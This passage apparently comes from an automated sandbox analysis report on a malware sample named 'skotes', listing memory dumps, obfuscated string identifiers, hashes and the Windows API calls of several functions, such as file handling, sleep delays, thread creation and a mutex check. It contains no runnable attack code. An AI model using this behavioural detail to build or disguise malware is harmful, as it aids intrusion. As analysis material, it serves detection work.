JjsrQV==, xrefs: 00EB8092
JjssOl==, xrefs: 00EB813A

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: 76e068e76d6dd8bbe556e53fc236bf34fbf8209c89fb3bed7458fa0e20f81b9e
Instruction ID: 88880d316e3da2b82f7285d082705a9e126ef4752846ddb81576730cc63b970b
Opcode Fuzzy Hash: 76e068e76d6dd8bbe556e53fc236bf34fbf8209c89fb3bed7458fa0e20f81b9e
Instruction Fuzzy Hash: E5E14471E002049BDF15BB68CE1B7DF7AA2AB41720F94529CE4157B3C2DB358E919BC2

Function 00EF1ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EF1775: CreateFileW.KERNEL32(00000000,00000000,?,00EF1B65,?,?,00000000,?,00EF1B65,00000000,0000000C), ref: 00EF1792

__dosmaperr.LIBCMT ref: 00EF1BD7
GetFileType.KERNEL32(00000000), ref: 00EF1BE3
__dosmaperr.LIBCMT ref: 00EF1BF6
__dosmaperr.LIBCMT ref: 00EF1D9C

Strings

H, xrefs: 00EF1D21

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: 18ee832d9137ea21b4bf210d44cae5cad7804b87794df36fc390aecd95b7cee9
Instruction ID: 0868ea3a6b13b923ee078a97569f0614caf8b8f5212eaebad083d554b0bb7baa
Opcode Fuzzy Hash: 18ee832d9137ea21b4bf210d44cae5cad7804b87794df36fc390aecd95b7cee9
Instruction Fuzzy Hash: EEA11232A0414CCFCF19EF68C851BBE7BF1AB06324F245199E952BB291DB359D06CB51

Function 00EE6FB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00EE6EE6), ref: 00EE6FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00EE7030
__dosmaperr.LIBCMT ref: 00EE70C5

Part of subcall function 00EE732A: __dosmaperr.LIBCMT ref: 00EE735F

Strings

n, xrefs: 00EE6FCE

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID: n
API String ID: 2531987475-3297054318
Opcode ID: 211d3d8175895e49f492c0de92ac1bf5a9dca49e3867a03bb5213088fa7d8a3b
Instruction ID: 3a36000dddb8bd3ab2522ce69f39954290a798be115cea45bb83a4b89302a305
Opcode Fuzzy Hash: 211d3d8175895e49f492c0de92ac1bf5a9dca49e3867a03bb5213088fa7d8a3b
Instruction Fuzzy Hash: 874171B1904388ABDB24DFB6DC419AFBBF9EF48304B10552DF996E3210E6309905DB61

Function 00EB7590 Relevance: 4.7, APIs: 3, Instructions: 158
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,883F4975,?,00000000,00EF9138,000000FF), ref: 00EB75CC
CreateThread.KERNEL32(00000000,00000000,00EB7430,00F18638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00EB76BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00EB76C9

Part of subcall function 00ECD0C7: RtlWakeAllConditionVariable.NTDLL ref: 00ECD17B

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: dc2f440a16b2c0f2ba987182b08095a30a5e0e7f6e6ffa46e916b9c633285789
Instruction ID: 103d8dc5737b0b17574ab97eacf2ffac2a4ffadb2ab24657361af5637c625570
Opcode Fuzzy Hash: dc2f440a16b2c0f2ba987182b08095a30a5e0e7f6e6ffa46e916b9c633285789
Instruction Fuzzy Hash: A8510270204248ABEB14CF28CE85FCD3BA1EB84344F509629F854A77D1CB7AD882DF91

Function 00EB9BA5 Relevance: 4.6, APIs: 3, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00EB9BA8
Sleep.KERNEL32(00000064,?), ref: 00EBA963
CreateMutexA.KERNEL32(00000000,00000000,00F13254), ref: 00EBA981

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
